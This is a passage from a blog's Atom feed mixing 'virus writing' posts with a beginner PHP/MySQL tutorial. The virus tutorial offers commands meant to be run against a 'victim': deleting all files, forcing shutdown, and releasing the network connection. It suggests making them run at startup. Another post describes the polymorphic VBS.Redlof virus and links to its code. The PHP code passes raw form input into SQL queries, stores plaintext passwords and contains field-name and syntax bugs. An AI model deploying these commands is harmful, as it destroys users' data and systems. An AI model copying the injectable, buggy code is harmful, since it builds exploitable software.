src="http://viruswritings.googlepages.com/orkutvirus.GIF" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;How this works is left to the reader to analyze. This info is only for educational purpose.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5071818707535738898?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5071818707535738898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5071818707535738898'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-4-orkut-virusmuhaha-virus.html' title='Virus code 4: Orkut virus/Muhaha virus'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-6522859198665702247</id><published>2012-02-16T23:55:00.000-08:00</published><updated>2012-02-16T23:55:44.060-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>VBS.Redlof.A / html.redlof.a code</title><content type='html'>This is the virus writing basics section. Today we are going to show you the code of html.redlof.a. This is a Visual Basic Script virus.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is a polymorphic, encrypted virus. It infects the .asp, .php, .jsp, .html, and .vbs files on all the drives. The virus copies itself to either %Windir%\System\Kernel.dll or %Windir%\System\Kernel32.dll, based on Visual Basic Script virus. It changes the default association for the .dll files.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is the virus code in &lt;a href="http://62nds.com/62nds/documents/kernel.dll.txt"&gt;txt format&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As I mentioned the code is in vbs. If you spread this virus you will get  into grave trouble. This is just for vbs programmers ( educational  purose) to know more about coding.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-6522859198665702247?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6522859198665702247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6522859198665702247'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/vbsredlofa-htmlredlofa-code.html' title='VBS.Redlof.A / html.redlof.a code'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4201742140652779859</id><published>2012-02-16T23:48:00.000-08:00</published><updated>2012-02-16T23:48:16.517-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code tutorial</title><content type='html'>Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide&lt;br /&gt;&lt;br /&gt;this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux&lt;br /&gt;&lt;br /&gt;First alp/asm&lt;br /&gt;back: add c,b&lt;br /&gt;loop back&lt;br /&gt;&lt;br /&gt;This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.&lt;br /&gt;&lt;br /&gt;Now lets try to create a simple Linux virus in c.&lt;br /&gt;&lt;br /&gt;system("poweroff");&lt;br /&gt;&lt;br /&gt;This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.&lt;br /&gt;&lt;br /&gt;let's see one more linux virus of the same type&lt;br /&gt;system("rm *.*");&lt;br /&gt;&lt;br /&gt;This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.&lt;br /&gt;&lt;br /&gt;Lets see the same codes for windows.&lt;br /&gt;&lt;br /&gt;To delete all files in windows using dos/batch progtraming will be&lt;br /&gt;del *.*&lt;br /&gt;and the code of the shutdown virus will be just shutdown&lt;br /&gt;&lt;br /&gt;Now lets disable Internet&lt;br /&gt;&lt;br /&gt;ipconfig /release&lt;br /&gt;echo You Internet Been HACKED!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What if you change the extension of a file. It becomes useless.Now let's rename a few file.&lt;br /&gt;rename(old_file_name_with_path,newname");&lt;br /&gt;Now what you can do with this left up to you.Just use your brain and you will make out it's potential.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4201742140652779859?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4201742140652779859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4201742140652779859'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-tutorial.html' title='Virus code tutorial'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3126642015199138481</id><published>2012-02-16T23:43:00.001-08:00</published><updated>2012-02-17T01:52:09.901-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus Code / Writing</title><content type='html'>&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-tutorial.html"&gt;Virus code tutorial&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://www.blogger.com/goog_1707789953"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-codesfull-codes.html"&gt;Virus codes(full codes)&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/alp-advanced-virus-writing.html"&gt;Alp Advanced virus writing&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://www.blogger.com/goog_1568115901"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/macro-virus-writing-1.html"&gt;Macro virus writing 1&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-16-change-files-extentions.html"&gt;Virus code 16: Change Files extentions&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/basic-virus-writing-primer.html"&gt;A Basic Virus Writing Primer&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-14-sasser-virus-code_17.html"&gt;virus code 14: Sasser virus code&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-17-flood-your-network.html"&gt;Virus code 17: Flood your network&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-21-datechange.html"&gt;Virus code 21: datechange&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-19-disable-internet.html"&gt;Virus code 19: Disable internet temporarily&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;VBS.Redlof.A / html.redlof.a code&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/macro-virus-writing-2.html"&gt;Macro virus writing 2&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-20-black-wolf-virus_17.html"&gt;Virus Code 20: Black wolf virus&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-18-delete-all-files.html"&gt;Virus code 18: Delete all files&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/alp-advanced-virus-writing.html"&gt;Virus writing in alp/ assembly language&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-17-flood-your-network.html"&gt;Virus code 17: Flood your network&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-15-messing-with-files.html"&gt;Virus code 15: Messing with files&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/learn-how-to-virus-code-in-c-part-1.html"&gt;Learn how to Virus code in C- Part 1&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-10-restart-virus.html"&gt;Virus code 10: Restart virus&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #b45f06;"&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-1-blockdisable-all-input.html"&gt;Virus code 1: Block/Disable all input device&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3126642015199138481?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3126642015199138481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3126642015199138481'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-writing.html' title='Virus Code / Writing'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5643001532443144340</id><published>2012-02-16T21:18:00.000-08:00</published><updated>2012-02-16T23:22:58.958-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='htmltemplate'/><title type='text'>FREE HTML TEMPLATE DOWNLOAD</title><content type='html'>&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;a href="http://205.196.123.169/4pdkct61kc1g/co2a0vbp43mai8j/FW270.zip" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.templatesbox.com/data/free.templates/images/web/thumbnails/1163864184wRc.jpg" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;br /&gt;&lt;a href="http://199.91.153.19/7oabovkfeeeg/3hu9eai856c7sfi/FW254.zip" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="143" src="http://www.templatesbox.com/data/free.templates/images/web/thumbnails/1163864065p0z.jpg" width="143" /&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td&gt;&lt;br /&gt;&lt;a href="http://199.91.153.133/0q68t56w7big/53c56d599e88b96/simple-biz-877477725.zip" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.freewebtemplates.com/content/templates/thumbnails/877477725" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;a href="http://205.196.121.70/3m25514bctlg/od8lc33vu2m4gl6/commerce.zip" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.templatesperfect.com/wp-content/uploads/2011/12/Commerce-155x125.jpg" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;br /&gt;&lt;a href="http://205.196.122.21/cxgb7i6ran1g/kzsjcegt5v32jpt/cell-phones.zip" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.templatesperfect.com/wp-content/uploads/2010/09/Cell-phone-Perfect-155x125.jpg" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;br /&gt;&lt;a href="http://199.91.152.88/5912v166e8gg/u58vwrs5fbslov3/Automobile.zip" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.templatesperfect.com/wp-content/uploads/2010/08/automobile-template-155x125.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5643001532443144340?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5643001532443144340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5643001532443144340'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/free-html-template-download.html' title='FREE HTML TEMPLATE DOWNLOAD'/><author><name>admin</name><uri>http://www.blogger.com/profile/00314904923143818716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4230558033277717863</id><published>2012-02-15T21:16:00.000-08:00</published><updated>2012-02-16T22:24:37.800-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phpexamples'/><title type='text'>Php: Creating Simple Website with MysQl ( for newbe)</title><content type='html'>What you Need?&lt;br /&gt;&lt;br /&gt;If your server supports PHP you don't  need to do anything.&lt;br /&gt;Just create some .php files in your web directory, and the server  will parse them for you. Because it is free, most web hosts  offer PHP support.&lt;br /&gt;However, if your server does not support PHP, you must install PHP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.apachefriends.org/images/5600.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="161" src="http://www.apachefriends.org/images/5600.jpg" width="200" /&gt;&lt;/a&gt;Php SERVER -- (xampp) download here ---&amp;gt; &lt;a href="http://205.196.120.72/5dam5l3t3hng/x2ioq2y1oi1xred/xampp-win32-1.6.8-installer.exe"&gt;xampp1.6.8&lt;/a&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;after installation make sure that MySQL and Apache pannel is running&amp;nbsp; -&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.findmysoft.com/screen/58884.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="150" src="http://www.findmysoft.com/screen/58884.png" width="200" /&gt;&lt;/a&gt;if it is running just click the X button to hide the pannel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next you need an Editor to create and edit your PHP codes ( i prefer notepad ++) download here if you want ---&amp;gt;&amp;nbsp; &lt;a href="http://205.196.121.136/nd9318mi6l5g/w3bhnby3xok0znb/npp.5.9.8.Installer.exe"&gt;notepad++&amp;nbsp; &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;then a layout to your site(HTML) if you want base from the scratch its ok, i preferably &amp;nbsp; use template from internet to download (ex. click here to download a sample template --&amp;gt; &lt;a href="http://www.mediafire.com/?ort978lpwykugh8" target="_blank"&gt;sample HTML template )&lt;/a&gt;&lt;br /&gt;&amp;nbsp;more html template here----&amp;gt;&amp;gt;&amp;gt;&amp;gt; &lt;a href="http://geekcodes.blogspot.com/2012/02/free-html-template-download.html"&gt;html template&lt;/a&gt;&lt;br /&gt;if you done downloading&amp;nbsp; the template you need to unzip or to extract the files&amp;nbsp; &lt;br /&gt;(right click the file and click extract here) and after extracting copy the folder ( CTRL + C)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-FSB_-0LwI_s/TzyV3MZgdGI/AAAAAAAAAFE/n13-a4S7YKs/s1600/extract.JPG" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="214" src="http://2.bp.blogspot.com/-FSB_-0LwI_s/TzyV3MZgdGI/AAAAAAAAAFE/n13-a4S7YKs/s320/extract.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and paste it to the directory of (XAMPP) in localdisk C and folder xampp----&amp;gt;&amp;nbsp;&amp;nbsp; .&lt;b&gt; c:/xampp/htdocs&lt;/b&gt; (if the xampp install in C:/) &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-VRIElnMC360/TzyYZ-ZL2RI/AAAAAAAAAFM/AojkbjvMrtE/s1600/direc.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="230" src="http://4.bp.blogspot.com/-VRIElnMC360/TzyYZ-ZL2RI/AAAAAAAAAFM/AojkbjvMrtE/s320/direc.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;now after that open the folder and rename the index.html file to INDEX.PHP&amp;nbsp; by using notepad++(editor)[right click and open with notepad++] now save as it to index.php , then open your browser ( ex. mozilla, explorer) and type --&amp;gt; &lt;b&gt;localhost/slickblue/index.php&lt;/b&gt;&amp;nbsp;&amp;nbsp; ,&amp;nbsp; ( slickblue- is a folder u can rename it if u want like wise with the index). &lt;br /&gt;&lt;br /&gt;so thats it you already have now a template you can use for creating simple website .&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-zNXaSzL3dVI/TzyfJdoGUeI/AAAAAAAAAFU/Y4KYbNLN66k/s1600/template.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="203" src="http://2.bp.blogspot.com/-zNXaSzL3dVI/TzyfJdoGUeI/AAAAAAAAAFU/Y4KYbNLN66k/s320/template.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;next we have to create a login form for a registration to our site to engage accessing to any part to our website.&lt;br /&gt;&lt;br /&gt;first we need a login form for our user but first we to create a registration for in order to access to the login form of the user .&amp;nbsp; ( put it anywhere in the lay out as long as its fit to your taste . meaning design it )&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-PE0AIUj48jw/TzykD_-nTEI/AAAAAAAAAFc/XdVPHVRyNSo/s1600/loginmenu.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/-PE0AIUj48jw/TzykD_-nTEI/AAAAAAAAAFc/XdVPHVRyNSo/s320/loginmenu.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;the user need to create an account so we need to create a registration form for the user using editor (NOTEPAD++) &amp;nbsp; &lt;br /&gt;&lt;br /&gt;--------------&amp;gt; SAVE IT AS A REGISTRATION.PHP (in editor (notepad++) &amp;lt;---------&lt;br /&gt;&lt;b&gt;&amp;nbsp;FILENAME: registration.php&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-hDeA6NP2zrs/TzyoAQpPx-I/AAAAAAAAAFk/UxwDaHo33As/s1600/reg.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;div style="border:1px solid;"&amp;gt;&amp;lt;center&amp;gt;&lt;br /&gt;&amp;lt;table border="1"&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&lt;br /&gt;&amp;lt;form action="register.php" method="post"&amp;gt;&lt;br /&gt;USERNAME&amp;nbsp; &amp;lt;input type="text" name="name"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;PASSWORD&amp;nbsp;&amp;nbsp; &amp;lt;input type="password" name="password"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;FIRST NAME &amp;lt;input type="text" name="fname"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;LAST NAME&amp;nbsp; &amp;lt;input type="text" name="lname"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;AGE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type="text" name="age"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Submit"&amp;gt;&lt;br /&gt;&amp;lt;input type="reset" value="Reset"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&amp;nbsp;&amp;nbsp; &amp;lt;/tr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;------------------------------------------------------------------------------------------------&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-5g3wejfwyh0/TzyoRtbo_TI/AAAAAAAAAFs/FsIKQ3Wggss/s1600/reg.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="151" src="http://3.bp.blogspot.com/-5g3wejfwyh0/TzyoRtbo_TI/AAAAAAAAAFs/FsIKQ3Wggss/s320/reg.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;from the registration.php all the data inputted must be cached by a form to save from a database (MYSQL) so we need a form as a catcher from all the data inputted from registration.php&lt;br /&gt;-----&amp;gt; SAVE the FILE as a register.php &amp;lt;------------------&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;?php&lt;br /&gt;mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("sample") or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;$username= ($_POST['username']);&lt;br /&gt;$password = ($_POST['password']);&lt;br /&gt;$fname = ($_POST['fname']);&lt;br /&gt;$lname = ($_POST['lname']);&lt;br /&gt;$age = ($_POST['age']);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mysql_query("insert akoregister set username='".$username."', password='".$password."'");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;so all data inputted in the registration form must be saved in dabase (MYSQL) so we need to create a database (mysql) in order to save those data inputted from the user&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;im preferably used CMD prompt, so click RUN in the START menu type CMD , and then locate the mysql directory using --&amp;gt;&lt;br /&gt;( preferably dont use password) &lt;br /&gt;&lt;br /&gt;&lt;b&gt;cd c:\&lt;/b&gt;&lt;br /&gt;&lt;b&gt;cd xampp\mysql\bin&lt;/b&gt;&lt;br /&gt;&lt;b&gt;mysql -u root&amp;nbsp; &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-496T15U435Q/TzyqknvtXvI/AAAAAAAAAF0/ijblphfVoSg/s1600/cmd.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://2.bp.blogspot.com/-496T15U435Q/TzyqknvtXvI/AAAAAAAAAF0/ijblphfVoSg/s320/cmd.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;then first you have to create database using the command --&amp;gt; &lt;b&gt;create database sample; &lt;/b&gt;&lt;br /&gt;*sample is the database name* if you already have database just type ---&amp;gt; &lt;b&gt;show databases;&lt;/b&gt;&lt;br /&gt;and then you have to use the database you create by typing ---&amp;gt; &lt;b&gt;use sample;&lt;/b&gt;&lt;br /&gt;* sample&amp;nbsp; is the database name*&lt;br /&gt;after creating database you need to create table by typing ----&amp;gt; &lt;b&gt;create table akoregister(id int not null auto_increment primary key, username varchar(23), password varchar(24), fname varchar(23), lname varchar(24), age int(23));&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-onTMkVCAzZg/Tzyt63C2HbI/AAAAAAAAAF8/4nyFP_eCtDc/s1600/db.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="288" src="http://2.bp.blogspot.com/-onTMkVCAzZg/Tzyt63C2HbI/AAAAAAAAAF8/4nyFP_eCtDc/s320/db.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;so you already done creating your database and the table , in order to see the value from the table type usinng ---&amp;gt; &lt;b&gt;describe akoregister;&lt;/b&gt;&lt;br /&gt;*akoregister is a table name*&lt;br /&gt;&lt;br /&gt;in order to see all information save from the form manually in the database(MYSQL)&lt;br /&gt;----&amp;gt; &lt;b&gt;select * from the akoregister;&lt;/b&gt;&lt;br /&gt;* akoregister is a table name *&lt;br /&gt;&lt;br /&gt;click here for all list of mysql server code --&amp;gt; &lt;a href="http://geekcodes.blogspot.com/2012/01/mysql-server-list-commands.html"&gt;mysql command code&lt;/a&gt;&lt;br /&gt;--------------------------------------------------------------------------------------&lt;br /&gt;so you already done adding information from form to database(MYSQL) but mostly we need to see all information itself from database to the website or to the browser likewise not only viewing files but mostly deleting ad updating all information from a certain files . so heres the step by step to do that.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;first we need to view all the information from the database in order to see a certain user , let we use the information the we add earlier the &lt;b&gt;registration.php&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;----&amp;gt; SAVE as FILE as&lt;b&gt; VIEW.PHP&lt;/b&gt;,&amp;lt;-------------------&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;?php&lt;br 